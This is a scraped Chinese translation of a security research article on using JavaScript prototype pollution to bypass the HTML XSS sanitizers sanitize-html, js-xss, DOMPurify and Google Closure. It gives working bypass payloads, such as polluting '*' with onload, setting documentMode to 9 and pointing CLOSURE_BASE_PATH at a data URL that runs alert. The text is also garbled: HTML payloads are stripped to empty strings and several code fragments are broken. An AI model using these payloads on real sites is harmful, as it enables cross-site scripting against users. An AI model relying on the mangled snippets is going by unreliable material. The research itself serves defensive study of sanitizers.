利用Prototype污染的方法繞過常見的HTML XSS檢查器
- const obj = {
- prop1: 111,
- prop2: 222,
- }
我們還可以通過檢查其__proto__成員或調用Object.getPrototypeOf來找出什么對象是給定對象的Prototype:
同樣,我們可以使用__proto__或Object.setPrototypeOf設置對象的Prototype:
- const user = { userid: 123 };
- if (user.admin) {
- console.log('You are an admin');
- }
乍看起來,似乎不可能使if條件成立,因為用戶對象沒有名為admin的屬性。但是,如果我們污染Object.prototype并定義名為admin的屬性,那么console.log將執(zhí)行!
- Object.prototype.admin = true;
- const user = { userid: 123 };
- if (user.admin) {
- console.log('You are an admin'); // this will execute
- }
- const obj1 = { a: 1, b: 2 };
- const obj2 = { c: 3, d: 4 };
- merge(obj1, obj2) // returns { a: 1, b: 2, c: 3, d: 4}
有時,該操作以遞歸方式工作,例如:
- const obj1 = {
- a: {
- b: 1,
- c: 2,
- }
- };
- const obj2 = {
- a: {
- d: 3
- }
- };
- recursiveMerge(obj1, obj2); // returns { a: { b: 1, c: 2, d: 3 } }
- HeaderThis is some HTML
它應該轉換為以下形式:
- HeaderThis is some HTML
- const ALLOWED_ELEMENTS = ["h1", "i", "b", "div"]
- Object.prototype.length = 10;
- Object.prototype[0] = 'test';
- const ALLOWED_ELEMENTS = {
- "h1": true,
- "i": true,
- "b": true,
- "div" :true
- }
然后,為了檢查某些元素是否被允許,庫可以檢查是否存在ALLOWED_ELEMENTS[element]。這種方法很容易被Prototype污染利用,因為如果我們通過以下方式污染Prototype:
- Object.prototype.SCRIPT = true;
不過你也可以使用備用選項將第二個參數傳遞給sanitizeHtml。不過你也可以不使用,選用默認選項既可:
- sanitizeHtml.defaults = {
- allowedTags: ['h3', 'h4', 'h5', 'h6', 'blockquote', 'p', 'a', 'ul', 'ol',
- 'nl', 'li', 'b', 'i', 'strong', 'em', 'strike', 'abbr', 'code', 'hr', 'br', 'div',
- 'table', 'thead', 'caption', 'tbody', 'tr', 'th', 'td', 'pre', 'iframe'],
- disallowedTagsMode: 'discard',
- allowedAttributes: {
- a: ['href', 'name', 'target'],
- // We don't currently allow img itself by default, but this
- // would make sense if we did. You could add srcset here,
- // and if you do the URL is checked for safety
- img: ['src']
- },
- // Lots of these won't come up by default because we don't allow them
- selfClosing: ['img', 'br', 'hr', 'area', 'base', 'basefont', 'input', 'link', 'meta'],
- // URL schemes we permit
- allowedSchemes: ['http', 'https', 'ftp', 'mailto'],
- allowedSchemesByTag: {},
- allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
- allowProtocolRelative: true,
- enforceHtmlBoundary: false
- };
- // check allowedAttributesMap for the element and attribute and modify the value
- // as necessary if there are specific values defined.
- var passedAllowedAttributesMapCheck = false;
- if (!allowedAttributesMap ||
- (has(allowedAttributesMap, name) && allowedAttributesMap[name].indexOf(a) !== -1) ||
- (allowedAttributesMap['*'] && allowedAttributesMap['*'].indexOf(a) !== -1) ||
- (has(allowedAttributesGlobMap, name) && allowedAttributesGlobMap[name].test(a)) ||
- (allowedAttributesGlobMap['*'] && allowedAttributesGlobMap['*'].test(a))) {
- passedAllowedAttributesMapCheck = true;
我們將重點檢查allowedAttributesMap,簡而言之,將檢查是否允許當前標記或所有標記使用該屬性(使用通配符“*”時)。非常有趣的是,sanitize-html具有某種針對Prototype污染的保護措施:
- // Avoid false positives with .__proto__, .hasOwnProperty, etc.
- function has(obj, key) {
- return ({}).hasOwnProperty.call(obj, key);
- }
hasOwnProperty檢查一個對象是否有屬性,但它不遍歷Prototype鏈。這意味著所有對has函數的調用都不會受到Prototype污染的影響。但是,has不是用于通配符的!
- (allowedAttributesMap['*'] && allowedAttributesMap['*'].indexOf(a) !== -1)
如果我用以下方法污染Prototype,結果如下:
- Object.prototype['*'] = ['onload']
那么onload將是任何標簽的有效屬性,如下所示:
它還可以選擇接受第二個參數,稱為options,而且它的處理方式是你在JS代碼中可以發(fā)現的對Prototype最無污染的模式:
- options.whiteList = options.whiteList || DEFAULT.whiteList;
- options.onTag = options.onTag || DEFAULT.onTag;
- options.onTagAttr = options.onTagAttr || DEFAULT.onTagAttr;
- options.onIgnoreTag = options.onIgnoreTag || DEFAULT.onIgnoreTag;
- options.onIgnoreTagAttr = options.onIgnoreTagAttr || DEFAULT.onIgnoreTagAttr;
- options.safeAttrValue = options.safeAttrValue || DEFAULT.safeAttrValue;
- options.escapeHtml = options.escapeHtml || DEFAULT.escapeHtml;
可能會污染options.propertyName格式的所有這些屬性。顯而易見的候選者是whiteList,它遵循以下格式:
- a: ["target", "href", "title"],
- abbr: ["title"],
- address: [],
- area: ["shape", "coords", "href", "alt"],
- article: [],
所以這個想法是定義我自己的白名單,接受帶有onerror和src屬性的img標簽:
DOMPurify還接受帶有配置的第二個參數,以下也出現了一種使其容易受到Prototype污染的模式:
- /* Set configuration parameters */
- ALLOWED_TAGS = 'ALLOWED_TAGS' in cfg ? addToSet({}, cfg.ALLOWED_TAGS) : DEFAULT_ALLOWED_TAGS;
- ALLOWED_ATTR = 'ALLOWED_ATTR' in cfg ? addToSet({}, cfg.ALLOWED_ATTR) : DEFAULT_ALLOWED_ATTR;
標記,因此該漏洞利用只需要使用onerror和src污染ALLOWED_ATTR。
- goog.html.sanitizer.AttributeWhitelist = {
- '* ARIA-CHECKED': true,
- '* ARIA-COLCOUNT': true,
- '* ARIA-COLINDEX': true,
- '* ARIA-CONTROLS': true,
- '* ARIA-DESCRIBEDBY': tru
- ...
- }
- ';
- const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
- const sanitized = sanitizer.sanitize(html);
- const node = goog.dom.safeHtmlToNode(sanitized);
- document.body.append(node);" _ue_custom_node_="true">
- if (cfg.ADD_ATTR) {
- if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR) {
- ALLOWED_ATTR = clone(ALLOWED_ATTR);
- }
我們可以從代碼段中提取以下可能的標識符(假設標識符為\w+):
- ["if", "cfg", "ADD_ATTR", "ALLOWED_ATTR", "DEFAULT_ALLOWED_ATTR", "clone"]
現在,我在Object.prototype中定義所有這些屬性,例如:
- Object.defineProperty(Object.prototype, 'ALLOWED_ATTR', {
- get() {
- console.log('Possible prototype pollution for ALLOWED_ATTR');
- console.trace();
- return this['$__ALLOWED_ATTR'];
- },
- set(val) {
- this['$_ALLOWED_ATTR'] = val;
- }
- });
- if (cfg.ADD_ATTR)
它會轉化為:
- if ($_GET_PROP(cfg, 'ADD_ATTR))
如下所示$_GET_PROP定義為:
- window.$_SHOULD_LOG = true;
- window.$_IGNORED_PROPS = new Set([]);
- function $_GET_PROP(obj, prop) {
- if (window.$_SHOULD_LOG && !window.$_IGNORED_PROPS.has(prop) && obj instanceof Object && typeof obj === 'object' && !(prop in obj)) {
- console.group(`obj[${JSON.stringify(prop)}]`);
- console.trace();
- console.groupEnd();
- }
- return obj[prop];
- }
多虧了這種方法,我才能發(fā)現另外兩個濫用Prototype污染的案例,該案例中的方法是可以繞過sanitizer。讓我們看看運行DOMPurify時記錄了什么內容:
里面的內容就是我想要的,讓我們看一下訪問documentMode的行:
- DOMPurify.isSupported = implementation && typeof implementation.createHTMLDocument !== 'undefined' && document.documentMode !== 9;
這樣,DOMPurify會檢查當前的瀏覽器是否足夠現代,甚至可以與DOMPurify一起使用。如果isSupported等于false,那么DOMPurify將不執(zhí)行任何殺毒處理。這意味著我們可以污染Prototype并設置Object.prototype.documentMode=9來實現這一目標。下面的代碼片段證明了這一點:
- const DOMPURIFY_URL = 'https://raw.githubusercontent.com/cure53/DOMPurify/2.0.12/dist/purify.js';
- (async () => {
- Object.prototype.documentMode = 9;
- const js = await (await fetch(DOMPURIFY_URL)).text();
- eval(js);
- console.log(DOMPurify.sanitize(''));
- // Logs: "", i.e. unsanitized HTML
- })();
其次,我注意到一個有趣的外觀:
- < script >
- Object.prototype.CLOSURE_BASE_PATH = 'data:,alert(1)//';
- < /script >< script src= >< script >
- goog.require('goog.html.sanitizer.HtmlSanitizer');
- goog.require('goog.dom');
- < /script >